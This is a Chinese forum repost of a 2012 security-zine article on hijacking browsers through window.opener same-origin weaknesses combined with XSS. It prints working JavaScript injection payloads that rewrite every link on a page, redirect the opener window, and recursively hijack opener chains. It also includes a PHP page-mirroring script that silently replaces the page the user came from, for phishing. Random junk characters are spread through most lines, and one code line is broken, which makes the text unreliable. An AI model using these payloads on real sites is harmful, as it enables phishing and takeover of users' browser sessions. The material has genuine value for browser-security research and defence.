找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1923|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==5 s' @7 R  x* S5 r. s
7 f0 k: p2 j" u
                       Issue 0x03, Phile #0x05 of 0x07
) k3 w) p* }) s9 N: J  D" } 9 h: D1 t/ u4 a! I, q

; |3 t9 S+ v8 P# f: k|=---------------------------------------------------------------------------=|
- I2 U; D/ o& K8 D  y+ Z2 ^|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
+ f  w) x/ x0 [2 A8 C) m|=---------------------------------------------------------------------------=|
$ H% e6 c: ^/ T( Q|=---------------------------------------------------------------------------=|; S! g! {* n) {8 M' U6 e
|=------------------------=[      By rayh4c     ]=---------------------------=|
: p: b3 C' }& C8 z9 r% D4 t|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
4 f/ Y3 ?8 x6 v/ q- I4 B|=---------------------------------------------------------------------------=|
3 w: Y8 w; i9 n. k( }1 A) z$ P- a! x

$ ?6 I$ x6 a# j; a$ R% V2 I3 E, Z[目录]: N8 I4 ^3 b2 k4 A6 o
2 r5 X% X% }" U* q* L
1. 前言
8 H# C# C2 e3 `" H/ B2. 同源策略简叙
6 s% K  `& p, A2 G+ ?# u3. 理解window对象的同源策略
: U8 H- D0 z. L4. 窗口引用功能中的同源策略漏洞: q. Z) q: Z" u% K6 C9 f- f3 j0 G
  4.1 父窗口引用子窗口的同源策略问题  h% |: y, g! i; h# `
  4.2 子窗口引用父窗口的同源策略问题
* n% l" |* X, J- O1 }$ F5. 利用窗口引用漏洞劫持浏览器; O+ l( w& e- s1 ?. |+ Q  L" h
6. 利用XSS漏洞劫持浏览器
! @1 H$ s( K$ V1 A. F  6.1 正向跨窗口劫持
- @2 ]$ s9 u) l  6.2 反向跨窗口劫持  e4 j8 [; C9 @) I* p
  6.3 极度危险的跨框架窗口引用劫持
: S# s+ q, Q& M5 u5 X8 z  G) x* E  6.4 极度危险的正反向跨窗口递归劫持" d$ q+ t/ Y. e1 `# Y( }1 t
  6.5 完全控制浏览器, B7 d! n: T$ [0 J# d, `; b
7. 后记+ |) u, Y3 r: |. {- ]/ b% ]
8. 参考+ `% J+ X4 M  V, I" R

9 ~1 x  p7 v: @
: f: K! Z( T1 v  v3 V6 |* i) N一、前言4 `4 r8 M% U; L# `! h" L
' B* P2 G1 W4 `6 Z, j
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* B6 R8 W6 R3 i- w
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
0 \! W% _9 {# E5 n# e7 n# Q8 C! f$ g劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被( @1 ]9 v7 `4 o% J, `
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。6 L' m8 [3 W" B/ \
" L4 N$ W. _) y8 x1 C0 p# S, a
! T! D7 C; j. d
二、同源策略简叙# h$ E' }" }  |
+ F4 o' X" E* y# \
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以( m$ C, @7 Q  l6 l; _' E' E5 x1 G% I
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
1 ]. @; f+ D8 @/ n% Z4 V, J1 V. ^曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
/ u, y* \$ [# p马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个# Q7 W8 [. ?0 P
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
* d7 C: _* x. L  J, I- l. y( e5 @
5 I3 w2 r; {# g- j' U% o7 H- |1 T" |1 o% k3 D. n/ J& x
三、理解window对象的同源策略
9 {/ p1 ?3 o1 Q2 {- Z- n9 F9 j4 e* v  U
4 `3 i# P& {) R9 {( b' w0 x. Z0 V# h    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
3 E+ A. |4 P# y象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:7 l# {- y' [6 X& {( {! n

7 r% @. q% J- c+ E--code-------------------------------------------------------------------------
: f0 l+ G& k6 p. ?3 M( c; i<script language="javascript">
3 W1 [$ \9 z" N( \: g! a1 mfor(p in window) document.write(p+"<br>");
  [% ~; l- |. S6 |6 v9 g$ Y</script>/ r" }- c8 O1 X$ y+ g
-------------------------------------------------------------------------------, g) p. l/ ?8 q9 ^7 N( E5 H& g
7 b& n" o  L' O% J9 r4 Z( W
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
: j5 `; c! z* f法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
) y$ ~" P8 V0 q) o0 ]% A这些属性和方法就必须遵循同源策略。0 l) o2 i" ]: w5 D3 Y% E
1 f+ f' w5 @, a; M0 J
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
0 N+ w6 J* `- e么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
* p* f1 K* L6 _! `的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这) F/ @& F+ B$ o! g9 d
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的+ T& a/ Z9 O* Q" U0 n: S' N
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
. m' h; L5 t7 E属性并没有被拒绝访问。  r0 d6 I9 `# m% J3 X
# r; B/ H" L3 C% o5 Z) j- U, h
--demo.html--------------------------------------------------------------------4 x0 [& S8 s, F) k+ j% ~
<script language="javascript">   ; R1 i4 v" _$ x0 R
function allPrpos(obj) {      
4 z# ]2 r" H  T      var props = "<table><tr><td>名称</td><td>值</td>";           
4 g$ r8 l- m  f2 x& f) k% l. t( X! }7 L      for(var p in obj){          : H0 ^# z4 n( z( ?& v: d/ O
            if(typeof(obj[p])=="function"){   9 d: a) g3 J2 }. d6 E/ n
                   obj[p]();   " Y" r5 t4 L8 S2 @; M9 M: N  x5 M
             }else{                      4 a6 ]1 _- T& I) q9 r) h: r) N
                  try   
. a' h# D9 i7 q: B/ r4 j, u                   {   ! O/ F+ r& L' ^( y8 U1 W; d/ X
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
( X6 d) h/ D' `! d/ q* J. A' \9 O                   }   
2 G' n4 {9 h! }% Q- z                  catch (ex)   2 u6 m8 {% ~0 J4 q% p  s
                   {   ) z8 @  S( J4 ]) e+ J% [5 t6 F" l* i
                  
* `$ M2 V; N) J                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   3 |. T9 K. _' {
                   }   
, m6 G" o8 A" B/ M) k                       
& t6 Q$ k' x5 k  t' d: {2 q             }   
+ l+ @; }( s' A0 L       }     G! m8 J0 }, g" c" }' K
   ) I2 [3 ~! ^4 ?' |# O- O
       document.write(props+"</table>");   
  C  ~1 P, b$ @! S}   1 R, p0 B- e* y+ i* U* u
   
* I  c: [7 K* |2 {function createWin() {
6 b0 V8 E% g& d# ~8 b- _( H        newWin = window.open ("http://www.google.com");    e' }" `3 W+ t6 M
        setTimeout(function(){allPrpos(newWin)},2000);
: F, b: t( s# q" K9 m- N) Y} . o% E( q5 F$ j- T. G4 C2 g

0 D! Z; q' }) m0 B5 K' k</script> + ]; X8 e$ I1 H1 D' s* ?7 F

" E1 U9 w" B9 t7 R- n% Q% P<button onclick='createWin()'>创建一个非同源子窗口测试</button>2 t5 e& F' d! A; g1 j$ n1 u. o
-------------------------------------------------------------------------------
! ]0 W2 `; R* b
; Q- Y& G( H5 @% w% p" ~8 i, L, V5 l% j9 P8 p- _. }: h5 x
四、窗口引用功能中的同源策略漏洞
3 b' [3 I* z' a+ O
3 c  L- j' F  R( C0 t1 I8 R4.1 父窗口引用子窗口的同源策略问题" A7 f# p3 w* F5 v* z: S

1 ^0 s" r" w8 ?( _. U    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,. T9 |6 w4 O  x4 G$ q/ Q
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
8 q& Y$ ]) [8 x( r) }  p+ H浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进* B' W% t5 S% I0 `* b/ K
行测试,会发现父窗口可以控制非同源子窗口location属性值。) P, U: `+ o9 G0 f5 R
/ }! v2 {' d- `
--vul1.html--------------------------------------------------------------------
* R' e4 d2 x* I" \* H% F5 u<script language="javascript">
! Q  P0 L3 Q& }' v( o$ R( K# C; @( x: jfunction createWin() {  4 `% i# W7 \4 e
        newWin = window.open ("http://www.google.com");  
' p8 G5 K1 B1 h* ?1 r        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
9 Z# H. s! O& ~' X}
7 Y% e  g: ?: L  q3 L8 V7 |# z</script>
* Z% q1 J$ N0 A' p4 b% s
) I9 U. u. D  \2 |- A<button onclick='createWin()'>创建一个非同源子窗口测试</button># f+ S( j- l) c, q6 |
-------------------------------------------------------------------------------. `! q' h$ i$ R" p5 O; j1 b0 F. H
6 q* B! p6 R  N0 t4 M& c( e

/ V4 O6 g+ Y! m4.2 子窗口引用父窗口的同源策略问题) B1 X/ D1 k/ K. B0 q- b) a& v
. K% Y: [2 q$ m! s/ ~; P
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
4 M5 X7 x6 \2 t1 R& t用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ x  i  h+ T7 j) S& V7 l# `
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定7 U4 j7 i0 u2 @7 @" ]5 T0 v* n7 a
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, l) N* b4 T, t1 w! \( i# I. K
+ ^2 u! F% \1 }# D' N  j' G--code-------------------------------------------------------------------------
, r+ E# Y1 [9 R) ^. O4 a* {1 N; ]9 o  N, X
javascript:window.opener.location = "http://www.80sec.com";void(0);
5 b) D. k- s) {0 N( l4 O- Q- W' Q2 }8 `' |. Y5 s9 f9 b
-------------------------------------------------------------------------------
6 R+ g+ Z$ s, m3 D- ^- K' B4 E, \" [$ F, f

- T4 l" C0 D* C' X* x$ Q  E6 L五、利用窗口引用漏洞劫持浏览器
: J- L8 q4 S' F, f* E& Z
1 D- p* {/ f; X4 k% O6 _    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
+ K; t: K, {# Z$ K窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那6 N7 ^( ~: n, q
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
+ V( ^; ?1 T( F( b  p$ K
9 }, z# x3 J$ b9 k    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
7 K  g' j  t. P( S生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
! J" c7 {/ W- n0 \/ |3 M# ?者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
9 x1 r& @/ x1 e) W; n) n9 R0 s, p后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下8 A. w& S, ?4 I, v
会产生什么可怕的后果。
' {) g8 K/ o& U1 y: q
+ @% t. X% P2 t' ?; {; L8 V6 Y    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
# D6 k8 P' [; [2 E: l$ Q5 q们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php  A2 P6 Z( t8 n6 E' ~
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 v& }* G  r" t* P3 H  }  Q, o
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
  D# m; @( X5 W; t. X以做更多的事情,所有的一切仅仅是因为点击了一个链接。, e- v+ M0 y1 F! }

) @, H- b3 I4 e% F. M" O0 q( [% n6 j--hjk_ref.php------------------------------------------------------------------) D" [' t, A/ P
<?php
$ X1 J& A) {1 ^if (array_key_exists("HTTP_REFERER", $_SERVER)) {4 `  C. S9 T# v- |
$Url_Mirror = $_SERVER["HTTP_REFERER"];
( k# q' L2 q4 F* X} 5 T5 ~0 X4 `, c
if(isset ($_GET['ref'])) {
/ U3 k; f* ?& _9 G+ J0 Aecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';3 s4 J0 I( @  @- w- c) \- t
}
% F( {" t$ R% `9 q?>0 {. P# ]0 a. P( }3 D2 Y8 B

2 ?. }4 k5 A- ~2 c& ^5 d! B( E8 h<script language="javascript">: [6 i  N: h6 A
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         , }4 L3 y0 m; \  s
</script>
. A: s! B8 K4 b2 q-------------------------------------------------------------------------------8 N& G+ @, c3 O7 C

0 b; |4 d! v/ s7 T6 M/ B( g    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。" i) ~; j5 W& x9 e

: H% V% z, Y& p* I* U( [. x3 h! j5 _0 {. S2 S
六、利用XSS漏洞劫持浏览器
9 M8 }& J( V' ^* X! g
, c% T# }7 }& C" j    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' M) x& R! T* u  F持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后& i/ C2 P* G- m9 J7 P) E; i
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
8 P) |4 _; o1 i* y讨论跨站师的终极技巧:
& x# h2 `& I; N% M1 m# j% }. p! `  h! i( o; ^  Q0 J

& `" Z9 b3 r, t5 a" J3 J- P5 X6.1 正向跨窗口劫持
0 {$ |, A3 V0 s8 R( I5 S0 Q9 K2 P% M4 Y, e
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: y/ M- h+ X. i3 I# v* e. [主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链6 d* _, y$ V& N
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
5 U9 v% a9 N9 Z框脚本。
7 H3 G6 E1 h9 I+ F" G" U$ ?
6 R; ]1 M/ W+ A6 y* p--hijack_open.js---------------------------------------------------------------7 F* X4 S' h) I8 X8 |
' q+ \) Y1 i' @0 C& |. t
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
; @; Y" w( `% a4 o$ n% Y8 H
' ?& u* f( q) J% D-------------------------------------------------------------------------------
1 f3 |1 m; p) _8 j+ Z8 f" |1 J- P3 j1 u: Z& O8 L6 [0 K

2 Y% s8 `# N# F) `) j# _6.2 反向跨窗口劫持8 Y8 z3 v# g" |# W/ V, i# B
! ]5 l6 r; D. d+ F( L" h+ x
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
: O  V: c6 |' {5 Y) Z码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
  k3 Q0 K, \% b' G% l) _4 c框脚本。5 F% y! \( \1 O/ l/ u- v
9 k# x( T/ M" t8 N! W
--hijack_opener.js-------------------------------------------------------------
7 r0 Z- \2 Q  P7 P0 \4 k( O
1 G! }6 n) h8 e) Tjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);3 m& z+ }7 c3 c1 @7 l
  C! Z4 c! V1 y' H; O  k
-------------------------------------------------------------------------------
, F& f' A+ m2 g" K  D4 v
6 i3 v$ w/ \7 ]/ ?7 ^
1 N4 g1 D& B' t; X9 @% k" w$ w6.3 极度危险的跨框架窗口引用劫持0 I2 @# t5 Y& m

: [( q/ O! F1 U6 y+ L    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞- b1 K) }: {2 E: s$ R8 B# i
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
$ o6 w2 g4 r4 W适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
, \9 x7 p) s( ?1 D4 a( O非持久型的XSS,如下:& d. R- b! H6 F# f

& o+ E3 b  [2 `% _! G; v<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
1 N% L( v, {" D7 z. r" a
# G2 r4 t3 B$ K5 ~) [' N4 s( f9 j% c    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口6 P  D* o5 P7 N! H5 c- n$ G: [
注入脚本。3 m' q4 i8 i/ N- i
) h. U% r6 V9 X3 ]+ |+ r
--hijack_frame_opener.js-------------------------------------------------------
* H5 A: d, d) ^  Z4 ]! x* f4 \! {3 V<script>3 ?2 p5 }6 Q6 {2 x9 z/ w
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
$ g# t) A- ]0 A6 ]4 d% }</script>0 U4 f8 P0 g" `
-------------------------------------------------------------------------------9 V/ t+ F; V9 _3 `; k
; M% C0 w9 Y/ f9 Z4 J
4 c3 c  _. O- r  Y- _/ c
6.4 极度危险的正反向跨窗口递归劫持! a4 ?2 w( j3 y- x) |
/ i# a4 O$ p" |
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
* i% V# P" i  `' T的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
4 H- b. z1 _, {$ X8 I异常处理规避之间跨域页面的访问异常,代码如下:4 t2 H6 Z+ n* \5 t
' {& A- i* H' J5 N; G7 _% r
--code-------------------------------------------------------------------------) U: l4 d- A3 J' z; u% t* ?
6 d! P0 g  d: U9 |* A. B) t
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
( S9 y- u3 i7 Q4 Z: e9 _) D) H
9 }! F5 J% s) X- @. w-------------------------------------------------------------------------------% M2 R' ?. P# D$ @8 L

: n* A4 }; c8 y6 I, b% V    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可# d: K( L  w+ W
以劫持B域之前的A域页面,从而实现“隔空打击”。
& h3 J; b. I' W9 f) f( w* y
1 \' N. V9 d$ k0 D. }; ]    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面0 J0 s# h4 l* R- R$ Q
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。; {! I5 n4 i; x( l7 l" U
* A$ H! r! D1 f4 K/ w
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
) l5 m  s! w/ K2 I1 r
4 D1 c) U5 h, g# e- }! T4 f6 D3 [& c& {3 s; S: c
6.5 完全控制浏览器
+ e1 Y5 _3 G: ~
9 {- k7 J2 X" x7 d. A7 r, a    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
* l3 N$ v7 R- }是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS: e( w! [% N7 M9 Z4 W  K+ L
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失) g& e5 s6 j1 Y! p- Z
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再! G6 F' ?) u& y! f% u
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站' @( L. o" Y; Z9 Y
师的终极目标 - 完全控制浏览器。3 y3 S: \1 d5 i: }+ d

7 {) K2 b' _, @$ X; L1 d+ [% b  ^1 ^2 j
七、后记
" j* @& Y) s7 a' H0 m4 h* j/ u+ H5 r4 p/ o
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全! i( B+ h8 ~0 l' K3 ?  V7 t
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; A7 `* [( q' h过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。& V, _# o. R! s! ~7 `2 F+ p& Q( f
% L( N+ i2 o1 I& G8 D+ F5 [& l/ b

! _: S' I+ h* F0 v) x1 U八、参考
2 t+ S- V" l7 B- A. f" f  w9 \. G6 `  c$ U
1. http://en.wikipedia.org/wiki/Same_origin_policy8 {1 w9 l3 x! m" @7 ?
2. http://code.google.com/p/browser ... licy_for_DOM_access
8 _) L% t& ?# X5 y- b% Q3. http://www.w3.org/TR/Window/, I9 }0 W5 S( a( H' I5 T
4. http://www.80sec.com/release/browser-hijacking.txt
; `4 I5 Q1 P2 `% M, V5. http://www.80sec.com/all-browser-security-alert.html
1 r. [7 ~5 l1 I6. http://www.80sec.com/ms08-058-attacks-google.html
# ^+ P4 |* W' H8 e! f2 S5 Q7 }& x" @7 Z( L  l  y' F
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表